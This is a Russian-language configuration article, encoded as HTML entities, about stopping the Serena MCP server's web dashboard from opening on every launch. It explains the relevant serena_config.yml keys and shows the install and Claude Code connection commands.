&#x41D;&#x435; &#x441;&#x445;&#x43E;&#x434;&#x438;&#x442;&#x441;&#x44F; &#x434;&#x440;&#x443;&#x433;&#x43E;&#x435;. &#x412;&#x43C;&#x435;&#x441;&#x442;&#x435; &#x441; &#x430;&#x433;&#x435;&#x43D;&#x442;&#x43E;&#x43C; MCP-&#x441;&#x435;&#x440;&#x432;&#x435;&#x440; &#x43F;&#x43E;&#x434;&#x43D;&#x438;&#x43C;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x437;&#x430;&#x43C;&#x435;&#x442;&#x43D;&#x43E; &#x447;&#x430;&#x449;&#x435;, &#x447;&#x435;&#x43C; &#x43F;&#x440;&#x435;&#x434;&#x43F;&#x43E;&#x43B;&#x430;&#x433;&#x430;&#x435;&#x442; &#x442;&#x430;&#x43A;&#x430;&#x44F; &#x437;&#x430;&#x434;&#x443;&#x43C;&#x43A;&#x430;: &#x43E;&#x442;&#x434;&#x435;&#x43B;&#x44C;&#x43D;&#x43E; &#x43F;&#x43E;&#x434; &#x43A;&#x430;&#x436;&#x434;&#x44B;&#x439; &#x43F;&#x440;&#x43E;&#x435;&#x43A;&#x442;, &#x437;&#x430;&#x43D;&#x43E;&#x432;&#x43E; &#x43F;&#x440;&#x438; &#x43F;&#x435;&#x440;&#x435;&#x437;&#x430;&#x43F;&#x443;&#x441;&#x43A;&#x435; &#x43A;&#x43B;&#x438;&#x435;&#x43D;&#x442;&#x430;, &#x435;&#x449;&#x451; &#x440;&#x430;&#x437; &#x43F;&#x440;&#x438; &#x43F;&#x435;&#x440;&#x435;&#x43F;&#x43E;&#x434;&#x43A;&#x43B;&#x44E;&#x447;&#x435;&#x43D;&#x438;&#x438; &#x441;&#x435;&#x441;&#x441;&#x438;&#x438;. &#x415;&#x434;&#x438;&#x43D;&#x438;&#x447;&#x43D;&#x43E;&#x435; &#xAB;&#x443;&#x434;&#x43E;&#x431;&#x43D;&#x43E;&#x435; &#x43E;&#x442;&#x43A;&#x440;&#x44B;&#x442;&#x438;&#x435;&#xBB; &#x43F;&#x440;&#x435;&#x432;&#x440;&#x430;&#x449;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x432; &#x43A;&#x43E;&#x43D;&#x432;&#x435;&#x439;&#x435;&#x440; &#x432;&#x43A;&#x43B;&#x430;&#x434;&#x43E;&#x43A;. 

&#x2705; &#x41A;&#x430;&#x43A; &#x43F;&#x440;&#x430;&#x432;&#x438;&#x43B;&#x44C;&#x43D;&#x43E; &#x423;&#x431;&#x435;&#x434;&#x438;&#x442;&#x435;&#x441;&#x44C;, &#x447;&#x442;&#x43E; &#x43A;&#x430;&#x442;&#x430;&#x43B;&#x43E;&#x433; &#x441;&#x443;&#x449;&#x435;&#x441;&#x442;&#x432;&#x443;&#x435;&#x442;: mkdir -p ~/.serena&#x41F;&#x43E;&#x441;&#x43B;&#x435; &#x447;&#x435;&#x433;&#x43E; &#x432;&#x43F;&#x438;&#x448;&#x438;&#x442;&#x435; &#x432; ~/.serena/serena_config.yml &#x43E;&#x434;&#x43D;&#x443; &#x441;&#x442;&#x440;&#x43E;&#x43A;&#x443;: web_dashboard_open_on_launch: false&#x413;&#x43E;&#x442;&#x43E;&#x432;&#x43E;. &#x414;&#x430;&#x448;&#x431;&#x43E;&#x440;&#x434; &#x43D;&#x438;&#x43A;&#x443;&#x434;&#x430; &#x43D;&#x435; &#x438;&#x441;&#x447;&#x435;&#x437;&#x430;&#x435;&#x442; &#x2014; &#x43E;&#x43D; &#x43B;&#x438;&#x448;&#x44C; &#x43F;&#x435;&#x440;&#x435;&#x441;&#x442;&#x430;&#x451;&#x442; &#x43E;&#x442;&#x43A;&#x440;&#x44B;&#x432;&#x430;&#x442;&#x44C;&#x441;&#x44F; &#x441;&#x430;&#x43C;. 

&#x414;&#x430;&#x448;&#x431;&#x43E;&#x440;&#x434; &#x441;&#x442;&#x43E;&#x438;&#x442; &#x441;&#x43E;&#x445;&#x440;&#x430;&#x43D;&#x438;&#x442;&#x44C;

&#x41E;&#x442;&#x43A;&#x43B;&#x44E;&#x447;&#x430;&#x442;&#x44C; &#x435;&#x433;&#x43E; &#x441;&#x43E;&#x432;&#x441;&#x435;&#x43C; &#x441;&#x43C;&#x44B;&#x441;&#x43B;&#x430; &#x43D;&#x435;&#x442;: &#x438;&#x43D;&#x441;&#x442;&#x440;&#x443;&#x43C;&#x435;&#x43D;&#x442; &#x434;&#x435;&#x439;&#x441;&#x442;&#x432;&#x438;&#x442;&#x435;&#x43B;&#x44C;&#x43D;&#x43E; &#x440;&#x430;&#x431;&#x43E;&#x447;&#x438;&#x439;. &#x422;&#x430;&#x43C; &#x432;&#x438;&#x434;&#x43D;&#x44B; &#x442;&#x435;&#x43A;&#x443;&#x449;&#x435;&#x435; &#x441;&#x43E;&#x441;&#x442;&#x43E;&#x44F;&#x43D;&#x438;&#x435; &#x438; &#x43A;&#x43E;&#x43D;&#x444;&#x438;&#x433;&#x443;&#x440;&#x430;&#x446;&#x438;&#x44F; &#x2014; &#x437;&#x430;&#x434;&#x435;&#x439;&#x441;&#x442;&#x432;&#x43E;&#x432;&#x430;&#x43D;&#x43D;&#x44B;&#x435; &#x438;&#x43D;&#x441;&#x442;&#x440;&#x443;&#x43C;&#x435;&#x43D;&#x442;&#x44B;, &#x44F;&#x437;&#x44B;&#x43A;&#x438;, &#x430;&#x43A;&#x442;&#x438;&#x432;&#x43D;&#x44B;&#x435; &#x440;&#x435;&#x436;&#x438;&#x43C;&#x44B; &#x438; &#x43A;&#x43E;&#x43D;&#x442;&#x435;&#x43A;&#x441;&#x442;&#x44B;; &#x442;&#x430;&#x43C; &#x436;&#x435; &#x43B;&#x435;&#x436;&#x430;&#x442; &#x438;&#x441;&#x442;&#x43E;&#x440;&#x438;&#x44F; &#x432;&#x44B;&#x437;&#x43E;&#x432;&#x43E;&#x432; &#x438;&#x43D;&#x441;&#x442;&#x440;&#x443;&#x43C;&#x435;&#x43D;&#x442;&#x43E;&#x432; &#x441;&#x43E; &#x441;&#x442;&#x430;&#x442;&#x438;&#x441;&#x442;&#x438;&#x43A;&#x43E;&#x439; &#x438; &#x436;&#x438;&#x432;&#x44B;&#x435; &#x43B;&#x43E;&#x433;&#x438;. &#x427;&#x435;&#x440;&#x435;&#x437; &#x43D;&#x435;&#x433;&#x43E; &#x43C;&#x43E;&#x436;&#x43D;&#x43E; &#x43C;&#x435;&#x43D;&#x44F;&#x442;&#x44C; &#x43D;&#x430;&#x441;&#x442;&#x440;&#x43E;&#x439;&#x43A;&#x438; &#x43D;&#x430; &#x445;&#x43E;&#x434;&#x443;, &#x440;&#x435;&#x434;&#x430;&#x43A;&#x442;&#x438;&#x440;&#x43E;&#x432;&#x430;&#x442;&#x44C; &#x43A;&#x43E;&#x43D;&#x444;&#x438;&#x433;&#x443;&#x440;&#x430;&#x446;&#x438;&#x43E;&#x43D;&#x43D;&#x44B;&#x435; &#x444;&#x430;&#x439;&#x43B;&#x44B; &#x438; &#x43F;&#x430;&#x43C;&#x44F;&#x442;&#x44C; &#x43F;&#x440;&#x43E;&#x435;&#x43A;&#x442;&#x430;, &#x430; &#x442;&#x430;&#x43A;&#x436;&#x435; &#x433;&#x430;&#x441;&#x438;&#x442;&#x44C; MCP-&#x441;&#x435;&#x440;&#x432;&#x435;&#x440;. 

&#x2139;&#xFE0F; &#x421;&#x43F;&#x440;&#x430;&#x432;&#x43A;&#x430; &#x41E;&#x442;&#x43A;&#x440;&#x44B;&#x442;&#x44C; &#x432;&#x440;&#x443;&#x447;&#x43D;&#x443;&#x44E; &#x421;&#x442;&#x430;&#x43D;&#x434;&#x430;&#x440;&#x442;&#x43D;&#x44B;&#x439; &#x430;&#x434;&#x440;&#x435;&#x441; &#x2014; http://localhost:24282/dashboard/index.html. &#x417;&#x430;&#x43D;&#x44F;&#x442; &#x43F;&#x43E;&#x440;&#x442; &#x438;&#x43B;&#x438; &#x43F;&#x43E;&#x434;&#x43D;&#x44F;&#x442;&#x43E; &#x43D;&#x435;&#x441;&#x43A;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x43A;&#x43E;&#x43F;&#x438;&#x439; Serena &#x2014; &#x43E;&#x43D;&#x430; &#x441;&#x434;&#x432;&#x438;&#x43D;&#x435;&#x442;&#x441;&#x44F; &#x43D;&#x430; &#x431;&#x43B;&#x438;&#x436;&#x430;&#x439;&#x448;&#x438;&#x439; &#x441;&#x432;&#x43E;&#x431;&#x43E;&#x434;&#x43D;&#x44B;&#x439; &#x43F;&#x43E;&#x440;&#x442; &#x432;&#x44B;&#x448;&#x435;. &#x410;&#x43B;&#x44C;&#x442;&#x435;&#x440;&#x43D;&#x430;&#x442;&#x438;&#x432;&#x430; &#x434;&#x43B;&#x44F; &#x43B;&#x435;&#x43D;&#x438;&#x432;&#x44B;&#x445;: &#x43F;&#x43E;&#x43F;&#x440;&#x43E;&#x441;&#x438;&#x442;&#x44C; &#x430;&#x433;&#x435;&#x43D;&#x442;&#x430; &#x43E;&#x442;&#x43A;&#x440;&#x44B;&#x442;&#x44C; &#x434;&#x430;&#x448;&#x431;&#x43E;&#x440;&#x434; Serena. 

&#x427;&#x442;&#x43E; &#x435;&#x449;&#x451; &#x43B;&#x435;&#x436;&#x438;&#x442; &#x432; &#x44D;&#x442;&#x43E;&#x43C; &#x444;&#x430;&#x439;&#x43B;&#x435;

&#x411;&#x43E;&#x43B;&#x44C;&#x448;&#x438;&#x43D;&#x441;&#x442;&#x432;&#x43E; &#x43F;&#x43E;&#x43B;&#x44C;&#x437;&#x43E;&#x432;&#x430;&#x442;&#x435;&#x43B;&#x435;&#x439; &#x437;&#x430;&#x433;&#x43B;&#x44F;&#x434;&#x44B;&#x432;&#x430;&#x44E;&#x442; &#x432; serena_config.yml &#x440;&#x43E;&#x432;&#x43D;&#x43E; &#x43E;&#x434;&#x43D;&#x430;&#x436;&#x434;&#x44B; &#x2014; &#x43F;&#x43E; &#x43E;&#x43F;&#x438;&#x441;&#x430;&#x43D;&#x43D;&#x43E;&#x43C;&#x443; &#x43F;&#x43E;&#x432;&#x43E;&#x434;&#x443;. &#x420;&#x430;&#x437; &#x443;&#x436; &#x43E;&#x43D; &#x43E;&#x442;&#x43A;&#x440;&#x44B;&#x442;, &#x438;&#x43C;&#x435;&#x435;&#x442; &#x441;&#x43C;&#x44B;&#x441;&#x43B; &#x43F;&#x43E;&#x441;&#x43C;&#x43E;&#x442;&#x440;&#x435;&#x442;&#x44C; &#x43E;&#x441;&#x442;&#x430;&#x43B;&#x44C;&#x43D;&#x43E;&#x435;: &#x438;&#x437;&#x440;&#x44F;&#x434;&#x43D;&#x430;&#x44F; &#x447;&#x430;&#x441;&#x442;&#x44C; &#x43A;&#x43B;&#x44E;&#x447;&#x435;&#x439; &#x437;&#x430;&#x43A;&#x440;&#x44B;&#x432;&#x430;&#x435;&#x442; &#x441;&#x43E;&#x441;&#x435;&#x434;&#x43D;&#x438;&#x435; &#x438;&#x441;&#x442;&#x43E;&#x447;&#x43D;&#x438;&#x43A;&#x438; &#x440;&#x430;&#x437;&#x434;&#x440;&#x430;&#x436;&#x435;&#x43D;&#x438;&#x44F;. 


&#x41A;&#x43B;&#x44E;&#x447;&#x41F;&#x43E; &#x443;&#x43C;&#x43E;&#x43B;&#x447;&#x430;&#x43D;&#x438;&#x44E;&#x41D;&#x430;&#x437;&#x43D;&#x430;&#x447;&#x435;&#x43D;&#x438;&#x435;
web_dashboardTrue&#x441;&#x430;&#x43C; &#x432;&#x435;&#x431;-&#x434;&#x430;&#x448;&#x431;&#x43E;&#x440;&#x434;; false &#x443;&#x431;&#x438;&#x440;&#x430;&#x435;&#x442; &#x435;&#x433;&#x43E; &#x43F;&#x43E;&#x43B;&#x43D;&#x43E;&#x441;&#x442;&#x44C;&#x44E;
web_dashboard_open_on_launchTrue&#x430;&#x432;&#x442;&#x43E;&#x43E;&#x442;&#x43A;&#x440;&#x44B;&#x442;&#x438;&#x435; &#x43D;&#x430; &#x441;&#x442;&#x430;&#x440;&#x442;&#x435; &#x2014; &#x438;&#x441;&#x43A;&#x43E;&#x43C;&#x44B;&#x439; &#x432;&#x438;&#x43D;&#x43E;&#x432;&#x43D;&#x438;&#x43A;
web_dashboard_interface&#x43D;&#x435; &#x437;&#x430;&#x434;&#x430;&#x43D;&#x444;&#x43E;&#x440;&#x43C;&#x430; &#x43F;&#x43E;&#x434;&#x430;&#x447;&#x438;: &#x431;&#x440;&#x430;&#x443;&#x437;&#x435;&#x440;, &#x43D;&#x430;&#x442;&#x438;&#x432;&#x43D;&#x43E;&#x435; &#x43E;&#x43A;&#x43D;&#x43E; &#x441;&#x43E; &#x437;&#x43D;&#x430;&#x447;&#x43A;&#x43E;&#x43C; &#x432; &#x442;&#x440;&#x435;&#x435;, &#x442;&#x440;&#x435;&#x439;-&#x43C;&#x435;&#x43D;&#x435;&#x434;&#x436;&#x435;&#x440; &#x434;&#x43B;&#x44F; &#x43D;&#x435;&#x441;&#x43A;&#x43E;&#x43B;&#x44C;&#x43A;&#x438;&#x445; &#x43A;&#x43E;&#x43F;&#x438;&#x439;
web_dashboard_listen_address127.0.0.1&#x430;&#x434;&#x440;&#x435;&#x441; &#x43F;&#x440;&#x43E;&#x441;&#x43B;&#x443;&#x448;&#x438;&#x432;&#x430;&#x43D;&#x438;&#x44F;
gui_log_windowFalse&#x443;&#x441;&#x442;&#x430;&#x440;&#x435;&#x432;&#x448;&#x435;&#x435; &#x43E;&#x43A;&#x43D;&#x43E; &#x43B;&#x43E;&#x433;&#x43E;&#x432;, &#x43F;&#x440;&#x435;&#x438;&#x43C;&#x443;&#x449;&#x435;&#x441;&#x442;&#x432;&#x435;&#x43D;&#x43D;&#x43E; &#x43F;&#x43E;&#x434; Windows
log_level20&#x43F;&#x43E;&#x434;&#x440;&#x43E;&#x431;&#x43D;&#x43E;&#x441;&#x442;&#x44C; &#x43B;&#x43E;&#x433;&#x43E;&#x432;, 20 &#x441;&#x43E;&#x43E;&#x442;&#x432;&#x435;&#x442;&#x441;&#x442;&#x432;&#x443;&#x435;&#x442; INFO
trace_lsp_communicationFalse&#x437;&#x430;&#x43F;&#x438;&#x441;&#x44C; &#x43E;&#x431;&#x43C;&#x435;&#x43D;&#x430; &#x441; &#x44F;&#x437;&#x44B;&#x43A;&#x43E;&#x432;&#x44B;&#x43C; &#x441;&#x435;&#x440;&#x432;&#x435;&#x440;&#x43E;&#x43C;
tool_timeout240&#x43B;&#x438;&#x43C;&#x438;&#x442; &#x432;&#x44B;&#x43F;&#x43E;&#x43B;&#x43D;&#x435;&#x43D;&#x438;&#x44F; &#x438;&#x43D;&#x441;&#x442;&#x440;&#x443;&#x43C;&#x435;&#x43D;&#x442;&#x430; &#x432; &#x441;&#x435;&#x43A;&#x443;&#x43D;&#x434;&#x430;&#x445;
default_max_tool_answer_chars150000&#x43C;&#x430;&#x43A;&#x441;&#x438;&#x43C;&#x430;&#x43B;&#x44C;&#x43D;&#x430;&#x44F; &#x434;&#x43B;&#x438;&#x43D;&#x430; &#x43E;&#x442;&#x432;&#x435;&#x442;&#x430; &#x438;&#x43D;&#x441;&#x442;&#x440;&#x443;&#x43C;&#x435;&#x43D;&#x442;&#x430;
symbol_info_budget10&#x431;&#x44E;&#x434;&#x436;&#x435;&#x442; &#x437;&#x430;&#x43F;&#x440;&#x43E;&#x441;&#x43E;&#x432; &#x438;&#x43D;&#x444;&#x43E;&#x440;&#x43C;&#x430;&#x446;&#x438;&#x438; &#x43E; &#x441;&#x438;&#x43C;&#x432;&#x43E;&#x43B;&#x430;&#x445;; &#x443;&#x440;&#x435;&#x437;&#x430;&#x44E;&#x442; &#x43D;&#x430; &#x43C;&#x435;&#x434;&#x43B;&#x435;&#x43D;&#x43D;&#x44B;&#x445; LSP
ignored_paths[]&#x438;&#x441;&#x43A;&#x43B;&#x44E;&#x447;&#x435;&#x43D;&#x438;&#x44F; &#x43F;&#x443;&#x442;&#x435;&#x439;, &#x441;&#x438;&#x43D;&#x442;&#x430;&#x43A;&#x441;&#x438;&#x441; &#x43A;&#x430;&#x43A; &#x432; gitignore
excluded_tools / included_optional_tools[]&#x432;&#x44B;&#x43A;&#x43B;&#x44E;&#x447;&#x438;&#x442;&#x44C; &#x43D;&#x435;&#x43D;&#x443;&#x436;&#x43D;&#x43E;&#x435; &#x438;&#x43B;&#x438; &#x434;&#x43E;&#x431;&#x430;&#x432;&#x438;&#x442;&#x44C; &#x43E;&#x43F;&#x446;&#x438;&#x43E;&#x43D;&#x430;&#x43B;&#x44C;&#x43D;&#x43E;&#x435;
read_only_memory_patterns[]&#x444;&#x430;&#x439;&#x43B;&#x44B; &#x43F;&#x430;&#x43C;&#x44F;&#x442;&#x438; &#x43F;&#x440;&#x43E;&#x435;&#x43A;&#x442;&#x430;, &#x43D;&#x435;&#x434;&#x43E;&#x441;&#x442;&#x443;&#x43F;&#x43D;&#x44B;&#x435; &#x430;&#x433;&#x435;&#x43D;&#x442;&#x443; &#x43D;&#x430; &#x437;&#x430;&#x43F;&#x438;&#x441;&#x44C;
project_serena_folder_location$projectDir/.serena&#x440;&#x430;&#x441;&#x43F;&#x43E;&#x43B;&#x43E;&#x436;&#x435;&#x43D;&#x438;&#x435; &#x43F;&#x440;&#x43E;&#x435;&#x43A;&#x442;&#x43D;&#x43E;&#x439; &#x43F;&#x430;&#x43F;&#x43A;&#x438; Serena
base_modes[interactive, editing]&#x431;&#x430;&#x437;&#x43E;&#x432;&#x44B;&#x435; &#x440;&#x435;&#x436;&#x438;&#x43C;&#x44B; &#x440;&#x430;&#x431;&#x43E;&#x442;&#x44B;


&#x41E;&#x441;&#x43E;&#x431;&#x43E;&#x433;&#x43E; &#x432;&#x43D;&#x438;&#x43C;&#x430;&#x43D;&#x438;&#x44F; &#x437;&#x430;&#x441;&#x43B;&#x443;&#x436;&#x438;&#x432;&#x430;&#x435;&#x442; excluded_tools. Serena &#x434;&#x43E;&#x431;&#x430;&#x432;&#x43B;&#x44F;&#x435;&#x442; &#x432; &#x43A;&#x43E;&#x43D;&#x442;&#x435;&#x43A;&#x441;&#x442; &#x432;&#x43D;&#x443;&#x448;&#x438;&#x442;&#x435;&#x43B;&#x44C;&#x43D;&#x44B;&#x439; &#x43D;&#x430;&#x431;&#x43E;&#x440; &#x438;&#x43D;&#x441;&#x442;&#x440;&#x443;&#x43C;&#x435;&#x43D;&#x442;&#x43E;&#x432;; &#x432;&#x44B;&#x447;&#x435;&#x440;&#x43A;&#x43D;&#x443;&#x432; &#x43D;&#x435;&#x432;&#x43E;&#x441;&#x442;&#x440;&#x435;&#x431;&#x43E;&#x432;&#x430;&#x43D;&#x43D;&#x44B;&#x435;, &#x432;&#x44B; &#x43D;&#x430;&#x43F;&#x440;&#x44F;&#x43C;&#x443;&#x44E; &#x441;&#x43E;&#x43A;&#x440;&#x430;&#x449;&#x430;&#x435;&#x442;&#x435; &#x440;&#x430;&#x441;&#x445;&#x43E;&#x434; &#x442;&#x43E;&#x43A;&#x435;&#x43D;&#x43E;&#x432; &#x43D;&#x430; &#x43A;&#x430;&#x436;&#x434;&#x43E;&#x43C; &#x43E;&#x431;&#x440;&#x430;&#x449;&#x435;&#x43D;&#x438;&#x438;. 

&#x26A0;&#xFE0F; &#x41E;&#x441;&#x442;&#x43E;&#x440;&#x43E;&#x436;&#x43D;&#x43E; &#x424;&#x430;&#x439;&#x43B; ~/.serena/serena_config.yml &#x433;&#x43B;&#x43E;&#x431;&#x430;&#x43B;&#x44C;&#x43D;&#x44B;&#x439; &#x438; &#x440;&#x430;&#x441;&#x43F;&#x440;&#x43E;&#x441;&#x442;&#x440;&#x430;&#x43D;&#x44F;&#x435;&#x442;&#x441;&#x44F; &#x441;&#x440;&#x430;&#x437;&#x443; &#x43D;&#x430; &#x432;&#x441;&#x435; &#x43F;&#x440;&#x43E;&#x435;&#x43A;&#x442;&#x44B;. &#x414;&#x43B;&#x44F; &#x430;&#x432;&#x442;&#x43E;&#x43E;&#x442;&#x43A;&#x440;&#x44B;&#x442;&#x438;&#x44F; &#x434;&#x430;&#x448;&#x431;&#x43E;&#x440;&#x434;&#x430; &#x44D;&#x442;&#x43E; &#x438;&#x43C;&#x435;&#x43D;&#x43D;&#x43E; &#x442;&#x43E;, &#x447;&#x442;&#x43E; &#x442;&#x440;&#x435;&#x431;&#x443;&#x435;&#x442;&#x441;&#x44F;. &#x410; &#x432;&#x43E;&#x442; &#x435;&#x441;&#x43B;&#x438; &#x432;&#x44B; &#x437;&#x430;&#x448;&#x43B;&#x438; &#x442;&#x443;&#x434;&#x430; &#x440;&#x430;&#x434;&#x438; excluded_tools &#x438;&#x43B;&#x438; ignored_paths, &#x434;&#x435;&#x440;&#x436;&#x438;&#x442;&#x435; &#x432; &#x443;&#x43C;&#x435;: &#x43F;&#x440;&#x43E;&#x435;&#x43A;&#x442;&#x43D;&#x44B;&#x435; &#x43D;&#x430;&#x441;&#x442;&#x440;&#x43E;&#x439;&#x43A;&#x438; &#x445;&#x440;&#x430;&#x43D;&#x44F;&#x442;&#x441;&#x44F; &#x43E;&#x442;&#x434;&#x435;&#x43B;&#x44C;&#x43D;&#x43E; &#x2014; &#x432; &#x444;&#x430;&#x439;&#x43B;&#x435; .serena/project.yml &#x432;&#x43D;&#x443;&#x442;&#x440;&#x438; &#x441;&#x430;&#x43C;&#x43E;&#x433;&#x43E; &#x440;&#x435;&#x43F;&#x43E;&#x437;&#x438;&#x442;&#x43E;&#x440;&#x438;&#x44F;. 

&#x41A;&#x43E;&#x433;&#x434;&#x430; &#x43A;&#x43E;&#x43D;&#x444;&#x438;&#x433;&#x430; &#x435;&#x449;&#x451; &#x43D;&#x435; &#x441;&#x443;&#x449;&#x435;&#x441;&#x442;&#x432;&#x443;&#x435;&#x442;

&#x422;&#x435;&#x43A;&#x443;&#x449;&#x438;&#x439; &#x441;&#x43F;&#x43E;&#x441;&#x43E;&#x431; &#x443;&#x441;&#x442;&#x430;&#x43D;&#x43E;&#x432;&#x43A;&#x438; Serena &#x432;&#x44B;&#x433;&#x43B;&#x44F;&#x434;&#x438;&#x442; &#x441;&#x43B;&#x435;&#x434;&#x443;&#x44E;&#x449;&#x438;&#x43C; &#x43E;&#x431;&#x440;&#x430;&#x437;&#x43E;&#x43C;: 

uv tool install -p 3.13 serena-agent
serena init

&#x41A;&#x43E;&#x43C;&#x430;&#x43D;&#x434;&#x430; serena init &#x441;&#x430;&#x43C;&#x430; &#x440;&#x430;&#x437;&#x432;&#x43E;&#x440;&#x430;&#x447;&#x438;&#x432;&#x430;&#x435;&#x442; ~/.serena/serena_config.yml &#x438;&#x437; &#x448;&#x430;&#x431;&#x43B;&#x43E;&#x43D;&#x430;, &#x442;&#x430;&#x43A; &#x447;&#x442;&#x43E; &#x438;&#x43D;&#x438;&#x446;&#x438;&#x430;&#x43B;&#x438;&#x437;&#x430;&#x446;&#x438;&#x44F; &#x43F;&#x440;&#x43E;&#x449;&#x435; &#x440;&#x443;&#x447;&#x43D;&#x43E;&#x433;&#x43E; &#x441;&#x43E;&#x437;&#x434;&#x430;&#x43D;&#x438;&#x44F; &#x444;&#x430;&#x439;&#x43B;&#x430;. &#x41F;&#x43E;&#x434;&#x43A;&#x43B;&#x44E;&#x447;&#x435;&#x43D;&#x438;&#x435; &#x43A; Claude Code &#x434;&#x435;&#x43B;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x442;&#x430;&#x43A;: 

# &#x433;&#x43B;&#x43E;&#x431;&#x430;&#x43B;&#x44C;&#x43D;&#x43E;, &#x43F;&#x440;&#x43E;&#x435;&#x43A;&#x442; &#x431;&#x435;&#x440;&#x451;&#x442;&#x441;&#x44F; &#x438;&#x437; &#x442;&#x435;&#x43A;&#x443;&#x449;&#x435;&#x433;&#x43E; &#x43A;&#x430;&#x442;&#x430;&#x43B;&#x43E;&#x433;&#x430;
claude mcp add --scope user serena -- serena start-mcp-server --context claude-code --project-from-cwd

# &#x43B;&#x438;&#x431;&#x43E; &#x43F;&#x43E;&#x434; &#x43A;&#x43E;&#x43D;&#x43A;&#x440;&#x435;&#x442;&#x43D;&#x44B;&#x439; &#x43F;&#x440;&#x43E;&#x435;&#x43A;&#x442;
claude mcp add serena -- serena start-mcp-server --context claude-code --project "$(pwd)"

&#x1F4CC; &#x417;&#x430;&#x43C;&#x435;&#x442;&#x43A;&#x430; &#x410;&#x432;&#x442;&#x43E;&#x440; &#x44F;&#x43F;&#x43E;&#x43D;&#x441;&#x43A;&#x43E;&#x439; &#x437;&#x430;&#x43C;&#x435;&#x442;&#x43A;&#x438;, &#x441; &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x43E;&#x439; &#x43D;&#x430;&#x447;&#x430;&#x43B;&#x430;&#x441;&#x44C; &#x44D;&#x442;&#x430; &#x442;&#x435;&#x43C;&#x430;, &#x43F;&#x440;&#x435;&#x434;&#x43B;&#x430;&#x433;&#x430;&#x435;&#x442; &#x432;&#x442;&#x43E;&#x440;&#x43E;&#x439; &#x43F;&#x443;&#x442;&#x44C; &#x2014; &#x43E;&#x442;&#x43A;&#x43B;&#x44E;&#x447;&#x438;&#x442;&#x44C; &#x434;&#x430;&#x448;&#x431;&#x43E;&#x440;&#x434; &#x444;&#x43B;&#x430;&#x433;&#x43E;&#x43C; &#x43F;&#x440;&#x438; &#x437;&#x430;&#x43F;&#x443;&#x441;&#x43A;&#x435; MCP-&#x441;&#x435;&#x440;&#x432;&#x435;&#x440;&#x430;. &#x41F;&#x440;&#x43E;&#x441;&#x43C;&#x43E;&#x442;&#x440;&#x435;&#x432; &#x430;&#x43A;&#x442;&#x443;&#x430;&#x43B;&#x44C;&#x43D;&#x443;&#x44E; &#x434;&#x43E;&#x43A;&#x443;&#x43C;&#x435;&#x43D;&#x442;&#x430;&#x446;&#x438;&#x44E; Serena, &#x442;&#x430;&#x43A;&#x43E;&#x433;&#x43E; &#x444;&#x43B;&#x430;&#x433;&#x430; &#x44F; &#x43D;&#x435; &#x43E;&#x431;&#x43D;&#x430;&#x440;&#x443;&#x436;&#x438;&#x43B;: &#x443;&#x43F;&#x440;&#x430;&#x432;&#x43B;&#x435;&#x43D;&#x438;&#x435; &#x434;&#x430;&#x448;&#x431;&#x43E;&#x440;&#x434;&#x43E;&#x43C; &#x43E;&#x43F;&#x438;&#x441;&#x430;&#x43D;&#x43E; &#x438;&#x441;&#x43A;&#x43B;&#x44E;&#x447;&#x438;&#x442;&#x435;&#x43B;&#x44C;&#x43D;&#x43E; &#x447;&#x435;&#x440;&#x435;&#x437; &#x43A;&#x43B;&#x44E;&#x447;&#x438; &#x43A;&#x43E;&#x43D;&#x444;&#x438;&#x433;&#x443;&#x440;&#x430;&#x446;&#x438;&#x438;. &#x422;&#x430;&#x43A; &#x447;&#x442;&#x43E; &#x43D;&#x430;&#x434;&#x451;&#x436;&#x43D;&#x435;&#x435; &#x43A;&#x43E;&#x43D;&#x444;&#x438;&#x433;. &#x420;&#x430;&#x431;&#x43E;&#x442;&#x430;&#x435;&#x442; &#x444;&#x43B;&#x430;&#x433; &#x443; &#x432;&#x430;&#x441; &#x2014; &#x43D;&#x430;&#x43F;&#x438;&#x448;&#x438;&#x442;&#x435;, &#x434;&#x43E;&#x43F;&#x43E;&#x43B;&#x43D;&#x44E; &#x43C;&#x430;&#x442;&#x435;&#x440;&#x438;&#x430;&#x43B;. 

&#x41F;&#x440;&#x430;&#x432;&#x43A;&#x430; &#x43D;&#x430; &#x43E;&#x434;&#x43D;&#x443; &#x441;&#x442;&#x440;&#x43E;&#x43A;&#x443;, &#x43D;&#x43E; &#x438;&#x437; &#x440;&#x430;&#x437;&#x440;&#x44F;&#x434;&#x430; &#x442;&#x435;&#x445;, &#x447;&#x442;&#x43E; &#x443;&#x431;&#x438;&#x440;&#x430;&#x44E;&#x442; &#x434;&#x435;&#x441;&#x44F;&#x442;&#x43E;&#x43A; &#x43C;&#x435;&#x43B;&#x43A;&#x438;&#x445; &#x440;&#x430;&#x437;&#x434;&#x440;&#x430;&#x436;&#x435;&#x43D;&#x438;&#x439; &#x437;&#x430; &#x440;&#x430;&#x431;&#x43E;&#x447;&#x438;&#x439; &#x434;&#x435;&#x43D;&#x44C;. &#x41F;&#x43E;&#x434;&#x43E;&#x431;&#x43D;&#x44B;&#x435; &#x432;&#x435;&#x449;&#x438; &#x441;&#x442;&#x43E;&#x438;&#x442; &#x434;&#x435;&#x43B;&#x430;&#x442;&#x44C; &#x441;&#x440;&#x430;&#x437;&#x443; &#x43F;&#x43E;&#x441;&#x43B;&#x435; &#x443;&#x441;&#x442;&#x430;&#x43D;&#x43E;&#x432;&#x43A;&#x438; &#x43B;&#x44E;&#x431;&#x43E;&#x433;&#x43E; MCP-&#x441;&#x435;&#x440;&#x432;&#x435;&#x440;&#x430; &#x2014; &#x437;&#x430;&#x43E;&#x434;&#x43D;&#x43E; &#x441; &#x440;&#x435;&#x432;&#x438;&#x437;&#x438;&#x435;&#x439; &#x442;&#x43E;&#x433;&#x43E;, &#x441;&#x43A;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x438;&#x43D;&#x441;&#x442;&#x440;&#x443;&#x43C;&#x435;&#x43D;&#x442;&#x43E;&#x432; &#x43E;&#x43D; &#x437;&#x430;&#x442;&#x430;&#x441;&#x43A;&#x438;&#x432;&#x430;&#x435;&#x442; &#x432; &#x43A;&#x43E;&#x43D;&#x442;&#x435;&#x43A;&#x441;&#x442;. 



&#x418;&#x441;&#x442;&#x43E;&#x447;&#x43D;&#x438;&#x43A;&#x438;


